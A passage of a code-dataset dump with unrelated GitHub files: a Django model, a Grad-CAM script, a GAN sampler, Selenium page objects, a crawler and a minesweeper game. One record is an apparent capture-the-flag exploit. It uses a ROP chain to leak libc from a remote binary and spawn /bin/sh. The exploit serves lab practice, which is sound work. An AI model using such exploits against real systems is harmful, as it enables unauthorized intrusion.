).select_related('ice_check_post')\n .select_related('ice_check_post__water_body')\n )\n else:\n return (\n super().get_queryset()\n .select_related('ice_check_post__water_body')\n .select_related('water_body')\n )\n\n\nclass IceThickness(TimeStampedModel):\n thick_val_min = models.PositiveSmallIntegerField(\n default=0,\n null=True,\n blank=False,\n verbose_name='Минимальное значение (см)',\n )\n\n thick_val_max = models.PositiveSmallIntegerField(\n default=0,\n null=True,\n blank=False,\n verbose_name='Максимальное значение (см)',\n )\n\n thick_val_average = models.PositiveSmallIntegerField(\n default=0,\n null=True,\n blank=False,\n verbose_name='Преобладающее значение (см)',\n )\n\n check_date = models.DateField(\n null=True,\n blank=False,\n verbose_name='Дата измерения',\n )\n\n ice_check_post = models.ForeignKey(\n IceCheckPost,\n related_name='ice_thickneses',\n null=True,\n blank=False,\n on_delete=models.SET_NULL,\n verbose_name=\"Пункт измерения\",\n )\n\n description = models.CharField(\n max_length=100,\n null=True,\n blank=True,\n verbose_name='Описание',\n default='',\n )\n\n objects = IceThicknessManager()\n\n def __str__(self):\n return '{}: {}-{} см., преобладает: {} см. {}'.format(\n self.ice_check_post,\n self.thick_val_min,\n self.thick_val_max,\n self.thick_val_average,\n self.description if self.description else '',\n )\n\n class Meta:\n db_table = 'ice_check_posts_values'\n verbose_name = 'Толщина льда'\n verbose_name_plural = 'Толщина льда'\n","repo_name":"manchos/umlkrest1","sub_path":"ice_check/models/ice_thikneses.py","file_name":"ice_thikneses.py","file_ext":"py","file_size_in_byte":2411,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"28900339748","text":"import torch\r\nfrom torch.autograd import Variable\r\nfrom torch.autograd import Function\r\nfrom torchvision import models\r\nfrom torchvision import utils\r\nimport torch.nn as nn\r\nimport torchvision.models as models\r\nimport cv2\r\nimport sys\r\nimport os\r\nimport numpy as np\r\nimport argparse\r\n\r\nclass FeatureExtractor():\r\n \"\"\" Class for extracting activations and \r\n registering gradients from targetted intermediate layers \"\"\"\r\n def __init__(self, model, target_layers):\r\n self.model = model\r\n self.target_layers = target_layers\r\n self.gradients = []\r\n\r\n def save_gradient(self, grad):\r\n \tself.gradients.append(grad)\r\n\r\n def __call__(self, x):\r\n outputs = []\r\n self.gradients = []\r\n for name, module in self.model._modules.items():\r\n x = module(x)\r\n if name in self.target_layers:\r\n x.register_hook(self.save_gradient)\r\n outputs += [x]\r\n return outputs, x\r\n\r\nclass ModelOutputs():\r\n\t\"\"\" Class for making a forward pass, and getting:\r\n\t1. The network output.\r\n\t2. Activations from intermeddiate targetted layers.\r\n\t3. Gradients from intermeddiate targetted layers. \"\"\"\r\n\tdef __init__(self, model, target_layers):\r\n\t\tself.model = model\r\n\t\tself.feature_extractor = FeatureExtractor(self.model.features, target_layers)\r\n\r\n\tdef get_gradients(self):\r\n\t\treturn self.feature_extractor.gradients\r\n\r\n\tdef __call__(self, x):\r\n\t\ttarget_activations, output = self.feature_extractor(x)\r\n\t\toutput = output.view(output.size(0), -1)\r\n\t\toutput = self.model.classifier(output)\r\n\t\treturn target_activations, output\r\n\r\ndef preprocess_image(img):\r\n\tmeans=[0.485, 0.456, 0.406]\r\n\tstds=[0.229, 0.224, 0.225]\r\n\r\n\tpreprocessed_img = img.copy()[: , :, ::-1]\r\n\tfor i in range(3):\r\n\t\tpreprocessed_img[:, :, i] = preprocessed_img[:, :, i] - means[i]\r\n\t\tpreprocessed_img[:, :, i] = preprocessed_img[:, :, i] / stds[i]\r\n\tpreprocessed_img = \\\r\n\t\tnp.ascontiguousarray(np.transpose(preprocessed_img, (2, 0, 1)))\r\n\tpreprocessed_img = torch.from_numpy(preprocessed_img)\r\n\tpreprocessed_img.unsqueeze_(0)\r\n\tinput = Variable(preprocessed_img, requires_grad = True)\r\n\treturn input\r\n\r\ndef show_cam_on_image(img, mask, im):\r\n\theatmap = cv2.applyColorMap(np.uint8(255*mask), cv2.COLORMAP_JET)\r\n\theatmap = np.float32(heatmap) / 255\r\n\timage = np.float32(img)\r\n\timage[mask<=0.45] = 0\r\n\tcam = image\r\n\tcam = cam / np.max(cam)\r\n\t# cam = np.multiply(heatmap, np.float32(img))\r\n\t# cam = cam / np.max(cam)\r\n\t# cv2.imwrite(\"cam.jpg\", np.uint8(255 * cam))\r\n\tcv2.imwrite(im + \"_patch.jpg\", np.uint8(cam*255))\r\n\r\nclass GradCam:\r\n\tdef __init__(self, model, target_layer_names, use_cuda):\r\n\t\tself.model = model\r\n\t\tself.model.eval()\r\n\t\tself.cuda = use_cuda\r\n\t\tif self.cuda:\r\n\t\t\tself.model = model.cuda()\r\n\r\n\t\tself.extractor = ModelOutputs(self.model, target_layer_names)\r\n\r\n\tdef forward(self, input):\r\n\t\treturn self.model(input) \r\n\r\n\tdef __call__(self, input, index = None):\r\n\t\tif self.cuda:\r\n\t\t\tfeatures, output = self.extractor(input.cuda())\r\n\t\telse:\r\n\t\t\tfeatures, output = self.extractor(input)\r\n\r\n\t\tif index == None:\r\n\t\t\tindex = np.argmax(output.cpu().data.numpy())\r\n\r\n\t\tone_hot = np.zeros((1, output.size()[-1]), dtype = np.float32)\r\n\t\tone_hot[0][index] = 1\r\n\t\tone_hot = Variable(torch.from_numpy(one_hot), requires_grad = True)\r\n\t\tif self.cuda:\r\n\t\t\tone_hot = torch.sum(one_hot.cuda() * output)\r\n\t\telse:\r\n\t\t\tone_hot = torch.sum(one_hot * output)\r\n\r\n\t\tself.model.features.zero_grad()\r\n\t\tself.model.classifier.zero_grad()\r\n\t\tone_hot.backward(retain_variables=True)\r\n\r\n\t\tgrads_val = self.extractor.get_gradients()[-1].cpu().data.numpy()\r\n\r\n\t\ttarget = features[-1]\r\n\t\ttarget = target.cpu().data.numpy()[0, :]\r\n\r\n\t\tweights = np.mean(grads_val, axis = (2, 3))[0, :]\r\n\t\tcam = np.ones(target.shape[1 : ], dtype = np.float32)\r\n\r\n\t\tfor i, w in enumerate(weights):\r\n\t\t\tcam += w * target[i, :, :]\r\n\r\n\t\tcam = np.maximum(cam, 0)\r\n\t\tcam = cv2.resize(cam, (224, 224))\r\n\t\tcam = cam - np.min(cam)\r\n\t\tcam = cam / np.max(cam)\r\n\t\treturn cam\r\n\r\ndef get_args():\r\n\tparser = argparse.ArgumentParser()\r\n\tparser.add_argument('--use-cuda', action='store_true', default=False,\r\n\t help='Use NVIDIA GPU acceleration')\r\n\tparser.add_argument('--image-path', type=str, default='./examples/both.png',\r\n\t help='Input image path')\r\n\targs = parser.parse_args()\r\n\targs.use_cuda = torch.cuda.is_available()\r\n\tif args.use_cuda:\r\n\t print(\"Using GPU for acceleration\")\r\n\telse:\r\n\t print(\"Using CPU for computation\")\r\n\r\n\treturn args\r\n\r\nif __name__ == '__main__':\r\n\t\"\"\" python grad_cam.py <path_to_image>\r\n\t1. Loads an image with opencv.\r\n\t2. Preprocesses it for VGG19 and converts to a pytorch variable.\r\n\t3. Makes a forward pass to find the category index with the highest score,\r\n\tand computes intermediate activations.\r\n\tMakes the visualization. \"\"\"\r\n\r\n\targs = get_args()\r\n\t# if torch.cuda.is_available(): # GPU\r\n\t# dtype = torch.cuda.FloatTensor\r\n\t# ttype = torch.cuda.LongTensor\r\n\t# else: # CPU\r\n\t# dtype = torch.FloatTensor\r\n\t# ttype = torch.LongTensor\r\n\tdevice = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\r\n\r\n\r\n # In order to make this code workable for the Resnet, which does not\r\n # contains features, classifier from torchvision.models\r\n\t# class net(nn.Module):\r\n\t# \tdef __init__(self):\r\n\t# \t\tsuper(net,self).__init__()\r\n\t# \t\tself.features = nn.Sequential()\r\n\t# \t\tself.classifier = nn.Sequential()\r\n\r\n\t# \tdef forward(self,x):\r\n\t# \t\tx = self.features(x)\r\n\t# \t\tx = x.view(x.size(0),-1)\r\n\t# \t\tx = self.classifier(x)\r\n\t# \t\treturn x\r\n\r\n\t# Can work with any model, but it assumes that the model has a \r\n\t# feature method, and a classifier method,\r\n\t# as in the VGG models in torchvision.\r\n\r\n\r\n\t# model_1 = models.vgg11()\r\n\t# mod = list(model_1.classifier.children())\r\n\t# mod.pop()\r\n\t# mod.append(torch.nn.Linear(4096, 2))\r\n\t# new_classifier = torch.nn.Sequential(*mod)\r\n\t# model_1.classifier = new_classifier\r\n\t# model_1.load_state_dict(torch.load('vgg.pth'))\r\n\t# my_model = model_1.type(dtype)\r\n\r\n\t# in Resnet18 \r\n\t# my_model = net()\r\n\r\n\t# model = models.resnet18()\r\n\t# model.fc = nn.Linear(512,2)\r\n\t# model.load_state_dict(torch.load('resnet.pth'))\r\n\r\n\t# mod = list(model.children())\r\n\t# layer = mod.pop()\r\n\t# classifier = nn.Sequential(layer)\r\n\t# my_model.classifier = classifier\r\n\t# features = nn.Sequential(*mod)\r\n\t# my_model.features = features\r\n\r\n\r\n\t# my_model = my_model.type(dtype)\r\n\r\n\r\n\t# grad_cam = GradCam(model = my_model, \\\r\n\t# \t\t\t\ttarget_layer_names = [\"7\"], use_cuda=args.use_cuda)\r\n\r\n\tclass Net(nn.Module):\r\n\t\tdef __init__(self):\r\n\t\t\tsuper(Net,self).__init__()\r\n\t\t\tself.features = nn.Sequential(\r\n\t\t\tnn.Conv2d(3,20,5),\r\n\t\t\tnn.ReLU(True),\r\n\t\t\tnn.MaxPool2d(2,2),\r\n\t\t\tnn.Conv2d(20,64,7),\r\n\t\t\tnn.ReLU(True),\r\n\t\t\tnn.MaxPool2d(2,2),\r\n\t\t\tnn.Conv2d(64,96,5),\r\n\t\t\tnn.ReLU(True),\r\n\t\t\tnn.MaxPool2d(2,2),\r\n\t\t\tnn.Conv2d(96,128,7),\r\n\t\t\tnn.ReLU(True),\r\n\t\t\tnn.MaxPool2d(2,2),\r\n\t\t\t)\r\n\t\t\tself.classifier = nn.Sequential(\r\n\t\t\t\tnn.Linear(128*9*9,4096),\r\n\t\t\t\tnn.ReLU(True),\r\n\t\t\t\tnn.Dropout(),\r\n\t\t\t\tnn.Linear(4096,100),\r\n\t\t\t\tnn.ReLU(True),\r\n\t\t\t\tnn.Dropout(),\r\n\t\t\t\tnn.Linear(100,2),\r\n\t\t\t\t)\r\n\t\tdef forward(self,x):\r\n\t\t\tx = self.features(x)\r\n\t\t\tx = x.view(x.size(0),-1)\r\n\t\t\tx = self.classifier(x)\r\n\t\t\treturn x\r\n\r\n\tsimple_model = Net()\r\n\tsimple_model.load_state_dict(torch.load('/home/nfs/xiangweishi/Balanced__epoch[27]_learning_rate[0.0000].pth'))\r\n\tsimple_model = simple_model.to(device)\r\n\tsimple_model.eval()\r\n\tsimple_model_2 = Net()\r\n\tsimple_model_2.load_state_dict(torch.load('/home/nfs/xiangweishi/Balanced_epoch[27]_learning_rate[0.0000]_simple_2.pth'))\r\n\tsimple_model_2 = simple_model_2.to(device)\r\n\tsimple_model_2.eval()\r\n\tclass Simpler(nn.Module):\r\n\t\tdef __init__(self):\r\n\t\t\tsuper(Simpler,self).__init__()\r\n\t\t\tself.features = nn.Sequential(\r\n\t\t\tnn.Conv2d(3,20,9),\r\n\t\t\tnn.ReLU(True),\r\n\t\t\tnn.MaxPool2d(2,2),\r\n\t\t\tnn.Conv2d(20,64,9),\r\n\t\t\tnn.ReLU(True),\r\n\t\t\tnn.MaxPool2d(2,2),\r\n\t\t\tnn.Conv2d(64,96,9),\r\n\t\t\tnn.ReLU(True),\r\n\t\t\tnn.MaxPool2d(2,2),\r\n\t\t\t)\r\n\t\t\tself.classifier = nn.Sequential(\r\n\t\t\tnn.Linear(96*21*21,4096),\r\n\t\t\tnn.ReLU(True),\r\n\t\t\tnn.Dropout(),\r\n\t\t\tnn.Linear(4096,100),\r\n\t\t\tnn.ReLU(True),\r\n\t\t\tnn.Dropout(),\r\n\t\t\tnn.Linear(100,2),\r\n\t\t\t)\r\n\t\tdef forward(self,x):\r\n\t\t\tx = self.features(x)\r\n\t\t\tx = x.view(x.size(0),-1)\r\n\t\t\tx = self.classifier(x)\r\n\t\t\treturn x\r\n\tsimpler_model = Simpler()\r\n\tsimpler_model.load_state_dict(torch.load('/home/nfs/xiangweishi/Balanced__epoch[32]_learning_rate[0.000000]_simpler.pth'))\r\n\tsimpler_model = simpler_model.to(device)\r\n\tsimpler_model.eval()\r\n\tsimpler_model_2 = Simpler()\r\n\tsimpler_model_2.load_state_dict(torch.load('/home/nfs/xiangweishi/Balanced_epoch[22]_learning_rate[0.0000]_simpler_2.pth'))\r\n\tsimpler_model_2 = simpler_model_2.to(device)\r\n\tsimpler_model_2.eval()\r\n\tfor image in os.listdir(args.image_path):\r\n\t\timage_dir = os.path.join(args.image_path,image)\r\n\t\timg = cv2.imread(image_dir, 1)\r\n\t\timg = np.float32(cv2.resize(img, (224, 224))) / 255\r\n\t\tinput = preprocess_image(img)\r\n\r\n\t\t# If None, returns the map for the highest scoring category.\r\n\t\t# Otherwise, targets the requested index.\r\n\t\ttarget_index = None\r\n\t\tmask = grad_cam(input, target_index)\r\n\t\tshow_cam_on_image(img, mask, image)","repo_name":"sxw0518/Interpretable-Deep-Visual-Place-Recognition","sub_path":"unsorted codes/heatmap.py","file_name":"heatmap.py","file_ext":"py","file_size_in_byte":9133,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"73991484403","text":"import os\nimport os.path as osp\nimport argparse\nimport torch\nimport json\nfrom hashlib import sha1\nfrom torchvision.transforms import ToPILImage\nfrom lib import GENFORCE_MODELS, update_progress, update_stdout\nfrom models.load_generator import load_generator\n\n\ndef tensor2image(tensor, img_size=None, adaptive=False):\n # Squeeze tensor image\n tensor = tensor.squeeze(dim=0)\n if adaptive:\n tensor = (tensor - tensor.min()) / (tensor.max() - tensor.min())\n if img_size:\n return ToPILImage()((255 * tensor.cpu().detach()).to(torch.uint8)).resize((img_size, img_size))\n else:\n return ToPILImage()((255 * tensor.cpu().detach()).to(torch.uint8))\n else:\n tensor = (tensor + 1) / 2\n tensor.clamp(0, 1)\n if img_size:\n return ToPILImage()((255 * tensor.cpu().detach()).to(torch.uint8)).resize((img_size, img_size))\n else:\n return ToPILImage()((255 * tensor.cpu().detach()).to(torch.uint8))\n\n\ndef main():\n \"\"\"A script for sampling from a pre-trained GAN's latent space and generating images. The generated images, along\n with the corresponding latent codes, will be stored under `experiments/latent_codes/<gan>/`.\n\n Options:\n -v, --verbose : set verbose mode on\n --gan : set GAN generator (see GENFORCE_MODELS in lib/config.py)\n --truncation : set W-space truncation parameter. If set, W-space codes will be truncated\n --num-samples : set the number of latent codes to sample for generating images\n --cuda : use CUDA (default)\n --no-cuda : do not use CUDA\n \"\"\"\n parser = argparse.ArgumentParser(description=\"Sample a pre-trained GAN latent space and generate images\")\n parser.add_argument('-v', '--verbose', action='store_true', help=\"verbose mode on\")\n parser.add_argument('--gan', type=str, required=True, choices=GENFORCE_MODELS.keys(), help='GAN generator')\n parser.add_argument('--truncation', type=float, default=1.0, help=\"W-space truncation parameter\")\n parser.add_argument('--num-samples', type=int, default=4, help=\"set number of latent codes to sample\")\n parser.add_argument('--cuda', dest='cuda', action='store_true', help=\"use CUDA during training\")\n parser.add_argument('--no-cuda', dest='cuda', action='store_false', help=\"do NOT use CUDA during training\")\n parser.set_defaults(cuda=True)\n # ================================================================================================================ #\n\n # Parse given arguments\n args = parser.parse_args()\n\n # Create output dir for generated images\n out_dir = osp.join('experiments', 'latent_codes', args.gan)\n out_dir = osp.join(out_dir, '{}-{}'.format(args.gan, args.num_samples))\n os.makedirs(out_dir, exist_ok=True)\n\n # Save argument in json file\n with open(osp.join(out_dir, 'args.json'), 'w') as args_json_file:\n json.dump(args.__dict__, args_json_file)\n\n # CUDA\n use_cuda = False\n if torch.cuda.is_available():\n if args.cuda:\n use_cuda = True\n torch.set_default_tensor_type('torch.cuda.FloatTensor')\n else:\n print(\"*** WARNING ***: It looks like you have a CUDA device, but aren't using CUDA.\\n\"\n \" Run with --cuda for optimal training speed.\")\n torch.set_default_tensor_type('torch.FloatTensor')\n else:\n torch.set_default_tensor_type('torch.FloatTensor')\n\n # Build GAN generator model and load with pre-trained weights\n if args.verbose:\n print(\"#. Build GAN generator model G and load with pre-trained weights...\")\n print(\" \\\\__GAN generator : {} (res: {})\".format(args.gan, GENFORCE_MODELS[args.gan][1]))\n print(\" \\\\__Pre-trained weights: {}\".format(GENFORCE_MODELS[args.gan][0]))\n\n G = load_generator(model_name=args.gan,\n latent_is_w='stylegan' in args.gan,\n verbose=args.verbose).eval()\n\n # Upload GAN generator model to GPU\n if use_cuda:\n G = G.cuda()\n\n # Latent codes sampling\n if args.verbose:\n print(\"#. Sample {} {}-dimensional latent codes...\".format(args.num_samples, G.dim_z))\n zs = torch.randn(args.num_samples, G.dim_z)\n\n if use_cuda:\n zs = zs.cuda()\n\n if args.verbose:\n print(\"#. Generate images...\")\n print(\" \\\\__{}\".format(out_dir))\n\n # Iterate over given latent codes\n for i in range(args.num_samples):\n # Un-squeeze current latent code in shape [1, dim] and create hash code for it\n z = zs[i, :].unsqueeze(0)\n latent_code_hash = sha1(z.cpu().numpy()).hexdigest()\n\n if args.verbose:\n update_progress(\n \" \\\\__.Latent code hash: {} [{:03d}/{:03d}] \".format(latent_code_hash, i + 1, args.num_samples),\n args.num_samples, i)\n\n # Create directory for current latent code\n latent_code_dir = osp.join(out_dir, '{}'.format(latent_code_hash))\n os.makedirs(latent_code_dir, exist_ok=True)\n\n if 'stylegan' in args.gan:\n # Get the w+ and w codes for the given z code, save them, and the generated image based on the w code\n # Note that w+ has torch.Size([1, 512]) and w torch.Size([18, 512]) -- the latter is just a repetition of\n # the w code for all 18 layers\n w_plus = G.get_w(z, truncation=args.truncation)[0, :, :]\n w = w_plus[0, :].unsqueeze(0)\n torch.save(z.cpu(), osp.join(latent_code_dir, 'latent_code_z.pt'))\n torch.save(w.cpu(), osp.join(latent_code_dir, 'latent_code_w.pt'))\n torch.save(w_plus.cpu(), osp.join(latent_code_dir, 'latent_code_w+.pt'))\n\n img_w = G(w).cpu()\n tensor2image(img_w, adaptive=True).save(osp.join(latent_code_dir, 'image_w.jpg'),\n \"JPEG\", quality=95, optimize=True, progressive=True)\n else:\n # Save latent code (Z-space), generate image for this code, and save the generated image\n torch.save(z.cpu(), osp.join(latent_code_dir, 'latent_code_z.pt'))\n img_z = G(z).cpu()\n tensor2image(img_z, adaptive=True).save(osp.join(latent_code_dir, 'image_z.jpg'),\n \"JPEG\", quality=95, optimize=True, progressive=True)\n\n if args.verbose:\n update_stdout(1)\n print()\n print()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"chi0tzp/ContraCLIP","sub_path":"sample_gan.py","file_name":"sample_gan.py","file_ext":"py","file_size_in_byte":6478,"program_lang":"python","lang":"en","doc_type":"code","stars":41,"dataset":"github-code","pt":"75"} +{"seq_id":"13676144861","text":"import allure\nfrom selenium.webdriver.common.by import By\n\nfrom page_objects.BasePage import BasePage\n\n\nclass MainPage(BasePage):\n path = '/'\n\n @allure.step('Найти заголовок типа h1')\n def find_h1_your_store(self):\n self.logger.info('element was found')\n return self.browser.find_element(By.XPATH, '//*[@id=\"logo\"]/a/img')\n\n @allure.step('Найти элемент \"Search\"')\n def find_name_search(self):\n self.logger.info('element was found')\n return self.browser.find_element(By.NAME, 'search')\n\n @allure.step('Найти элемент \"Cart\"')\n def find_id_cart(self):\n self.logger.info('element was found')\n return self.browser.find_element(By.ID, 'header-cart')\n\n @allure.step('Найти ссылку \"iPhone\"')\n def find_link_iphone(self):\n self.logger.info('element was found')\n return self.browser.find_element(By.LINK_TEXT, 'iPhone')\n\n @allure.step('Найти элемент \"Terms & Conditions\"')\n def find_part_link_terms(self):\n self.logger.info('element was found')\n return self.browser.find_elements(By.PARTIAL_LINK_TEXT, 'Terms & Cond')\n\n @allure.step('Добавить товар с главной страницы, в корзину')\n def add_item_to_cart(self):\n self.browser.find_element(By.XPATH, '//img[@alt=\"MacBook\"]').click()\n self.browser.find_element(By.ID, 'button-cart').click()\n self.logger.info('added item to cart')\n return self\n\n @allure.step('Удалить товар из корзины')\n def remove_item_from_cart(self):\n self.browser.find_element(By.ID, 'header-cart').click()\n self.browser.find_element(By.XPATH, '//button[@title=\"Remove\"]').click()\n self.browser.find_elements(By.PARTIAL_LINK_TEXT, '0 item(s) - $0.00')\n self.logger.info('removed item from cart')\n return self\n","repo_name":"nocsland/python_qa_solution","sub_path":"page_objects/MainPage.py","file_name":"MainPage.py","file_ext":"py","file_size_in_byte":1917,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"16106680990","text":"'''\nCount docs in ES index\n'''\nfrom elasticsearch import Elasticsearch\nfrom formatting import CL\n\n\ndef count_docs(port=9200):\n\n client = Elasticsearch([{'host': 'localhost', 'port': port}])\n stats = client.cluster.stats()\n count = stats['indices']['docs']['count']\n print(CL.BOLD + str(count) + CL.ENDC)\n\n return count\n\n\nif __name__ == '__main__':\n\n count_docs()\n","repo_name":"rkhood/elasticsearch_elections","sub_path":"count_docs.py","file_name":"count_docs.py","file_ext":"py","file_size_in_byte":381,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"12831506312","text":"import sys\nimport io\n\nsys.stdout = io.TextIOWrapper(sys.stdout.detach(), encoding= 'utf-8')\nsys.stderr = io.TextIOWrapper(sys.stderr.detach(), encoding= 'utf-8')\n\nfrom bs4 import BeautifulSoup\nimport urllib.request as req\nimport urllib.parse as rep\nimport os # 파이썬을 쓰고있는 OS에 접근해서 명령어 실행\n\n# Volume / Variety / Velocity\n\nbase = 'https://search.naver.com/search.naver?where=image&sm=tab_jum&query='\nquote = rep.quote_plus('아이유')\nurl = base + quote\n\nprint(url)\n\nres = req.urlopen(url)\nsavePath = 'C:\\Crawling\\Section2\\Image\\\\' # \\\\로 넣어야함을 주의하자\n\ntry:\n if not (os.path.isdir(savePath)):\n os.makedirs(os.path.join(savePath))\n# 이미 있을 시 발생되는 Error\nexcept OSError as e:\n if e.errno != errno.EEXIST:\n print('폴더 만들기 실패!')\n raise\n\nsoup = BeautifulSoup(res, 'html.parser')\nprint('------')\n# print(soup)\nprint('------')\nimg_list = soup.select('img')\nprint(img_list[49])\nprint(img_list[50]) # Data-Source가 없음\n\nvalue = img_list[0].get('data-source')\nprint(value)\nvalue = img_list[50].get('data-source')\nprint('50 = ',value)\nvalue = img_list[51].get('data-source')\nprint('51 = ',value)\n\n# -> 해당 원소가 없는 경우 어떻게 삭제 할 수 있는지 공부 필요\n# 이번 case는 img_list 내 Element에 data-source 가 없는 경우\n\nprint('------')\nprint(len(img_list))\ni = 0\nfor a in img_list:\n val = a.get('data-source')\n if val == None:\n i+=1\n continue\n\nprint(i)\n# Error가 나는 이유 -> 자꾸 동기화 시켜서 index를 부족하게 만듬\n\nprint(len(img_list))\nprint('------')\n\n\nfor i, a in enumerate(img_list,1):\n fullFileName = os.path.join(savePath, savePath+str(i)+'.jpg')\n req.urlretrieve(a['data-source'],fullFileName)\n\nprint('DownLoad Complete')\n","repo_name":"Nadaeyeob/Crawling","sub_path":"Section2_Scraping/download2-8-1.py","file_name":"download2-8-1.py","file_ext":"py","file_size_in_byte":1810,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"36751311870","text":"from random import sample\n\ndef start():\n correct = False\n while not correct:\n try:\n m = input(\"Podaj rozmiar planszy (x,y) - max 26,26\").split(',')\n x, y = int(m[0]), int(m[1])\n correct = not correct\n except:\n print('Nieprawidłowa forma danych')\n correct = False\n while not correct:\n try:\n n = int(input(\"Podaj liczbę min\"))\n correct = not correct\n except:\n print('Nieprawidłowa forma danych')\n map, unhide_map = create_map(x, y, n)\n\n lose = False\n while not lose:\n print_map(x,y,unhide_map,n)\n if isWin(unhide_map, n):\n print('Wygrales')\n break\n target = input(\"Podaj pozycje bomby (+T dla postawienia flagi):\")\n error, [xs, ys] = translate(target[0:2], x, y)\n\n if len(target) == 3 and target[2].upper() == 'T':\n if unhide_map[xs][ys] == 'T':\n unhide_map[xs][ys] = ' '\n elif unhide_map[xs][ys] == ' ':\n unhide_map[xs][ys] = 'T'\n continue\n if error or len(target)>2:\n continue\n lose, unhide_map = shoot(xs, ys, map, unhide_map)\n\n if lose: print('Przegrałeś!')\n\n\ndef translate(word, x, y):\n letters = list('ABCDEFGHIJKLMNOPQRSTUVWXYZ')\n error = False\n coordinates = [0, 0]\n c_list = list(word.upper())\n\n try:\n coordinates[0] = int(c_list[0])-1\n coordinates[1] = letters.index(c_list[1])\n error = False\n except:\n try:\n coordinates[0] = int(c_list[1])-1\n coordinates[1] = letters.index(c_list[0])\n error = False\n except:\n error = True\n if error:\n print('Złe wartości')\n\n if coordinates[0]>x-1 or coordinates[1]>y-1:\n print('Wartości spoza planszy')\n error = True\n return error, coordinates\n\ndef shoot(xs, ys, map, unhide_map):\n if map[xs][ys] == 'o':\n unhide_map[xs][ys] = 'X'\n lose = True\n else:\n count = 0\n for i in [-1, 0, 1]:\n for j in [-1, 0, 1]:\n try:\n if map[xs+i][ys+j] == 'o' and xs+i>=0 and ys+j>=0:\n count += 1\n except:\n pass\n unhide_map[xs][ys] = count\n if count == 0:\n for i in [-1, 0, 1]:\n for j in [-1, 0, 1]:\n try:\n if xs + i >= 0 and ys + j >= 0 and unhide_map[xs+i][ys+j] == ' ':\n lose,unhide_map = shoot(xs + i,ys + j,map,unhide_map)\n except:\n print('error', i,j)\n lose = False\n return lose, unhide_map\n\ndef print_map(x, y, unhide_map, n):\n letters=list('ABCDEFGHIJKLMNOPQRSTUVWXYZ')\n horizontal=letters[:y]\n vertical = list(range(0,x+1))\n vertical[0]=' '\n bombs_left= n-countT(unhide_map)\n\n for i in range(x+1):\n for j in range(y+1):\n if j == 0:\n if len(str(vertical[i])) == 1:\n print(' ', end='')\n print(vertical[i], ' |', end=' ')\n elif i == 0:\n print(horizontal[j-1], ' |', end=' ')\n else:\n print(unhide_map[i-1][j-1], ' |', end=' ')\n print('')\n print('Pozostałe bomby: ', bombs_left)\n\n\ndef create_map(x, y, n):\n boombs_position = sample(range(x*y), n)\n map=[]\n unhide_map=[]\n for i in range(x):\n map.append([])\n unhide_map.append([])\n for j in range(y):\n unhide_map[i].append(' ')\n if i * y + j in boombs_position:\n map[i].append('o')\n else:\n map[i].append('x')\n return map, unhide_map\n\ndef isWin(unhide_map, n):\n number_of_left_poles = 0\n for i in range(len(unhide_map)):\n number_of_left_poles += unhide_map[i].count(' ')\n number_of_left_poles += unhide_map[i].count('T')\n if number_of_left_poles == n:\n return True\n else:\n return False\n\ndef countT(unhide_map):\n number_of_T=0\n for i in range(len(unhide_map)):\n number_of_T += unhide_map[i].count('T')\n return number_of_T\n\nstart()\n\n","repo_name":"RadkeC/Small_projects","sub_path":"Saper/saper.py","file_name":"saper.py","file_ext":"py","file_size_in_byte":4213,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"43912753617","text":"#!/usr/bin/python3\nfrom pwn import *\n\ncontext.log_level = \"debug\"\ncontext.arch = \"amd64\"\n# context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']\n# p = process(\"./restaurant\")\np = remote(\"167.71.131.210\", 32271)\nru = lambda a: p.readuntil(a)\nr = lambda n: p.read(n)\nsla = lambda a, b: p.sendlineafter(a, b)\nsa = lambda a, b: p.sendafter(a, b)\nsl = lambda a: p.sendline(a)\ns = lambda a: p.send(a)\n# gdb.attach(p)\nrdi = 0x00000000004010A3\nret = 0x000000000040063E\nmain = 0x400F68\nfill = 0x400E4A\noffset = 40\n\nelf = ELF(\"./restaurant\")\nlibc = ELF(\"./libc.so.6\")\n# libc = ELF(\"/usr/lib/x86_64-linux-gnu/libc.so.6\")\nsla(\"> \", b\"1\")\n\nrop = ROP(elf)\nrop.call(elf.plt[\"puts\"], [next(elf.search(b\"\"))])\nrop.call(elf.plt[\"puts\"], [elf.got[\"puts\"]])\nrop.call((rop.find_gadget([\"ret\"]))[0])\nrop.call(elf.symbols[\"fill\"])\nsla(\"> \", flat({offset: rop.chain()}))\nlog.info(rop.dump())\np.recvuntil(\"\\n\")\np.recvuntil(\"\\n\")\nleak = u64(p.recvuntil(\"\\n\").strip().ljust(8, b\"\\x00\"))\nlog.info(\"leak: \" + str(hex(leak)))\nlibc.address = leak - libc.symbols[\"puts\"]\nlog.info(\"libc: \" + str(hex(libc.address)))\n\nl = ROP(libc)\nl.call(l.find_gadget([\"ret\"])[0])\nl.call(libc.symbols[\"system\"], [next(libc.search(b\"/bin/sh\\x00\"))])\nsla(\"> \", flat({offset: l.chain()}))\n\np.interactive()\n","repo_name":"079035/PWN","sub_path":"htb/restaurant/pwn_restaurant/exp.py","file_name":"exp.py","file_ext":"py","file_size_in_byte":1270,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"71781101683","text":"\"\"\"\n 최적화 문제를 결정 문제(\"예\" 혹은 \"아니오\")로 바꾸어 해결하는 기법.\n - 예시: 특정한 조건을 만족하는 가장 알맞은 값을 빠르게 찾는 최적화 문제\n\n 일반적으로 코딩 테스트에서 파라메트릭 서치 문제는 이진 탐색을 이용하여 해결할 수 있음.\n\"\"\"\n\n\"\"\"\n 문제\n\n 사용자는 여행 가신 부모님을 대신해서 떡집 일을 하기로 했음. 오늘은 떡볶이 떡을 만드는 날.\n 사용자의 떡볶이 떡은 재밌게도 떡볶이 떡의 길이가 일정하지 않음.\n 대신 한 봉지 안에 들어가는 떡의 총 길이는 절단기로 잘라서 맞춰줌.\n\n 절단기에 높이 H를 지정하면 줄지어진 떡을 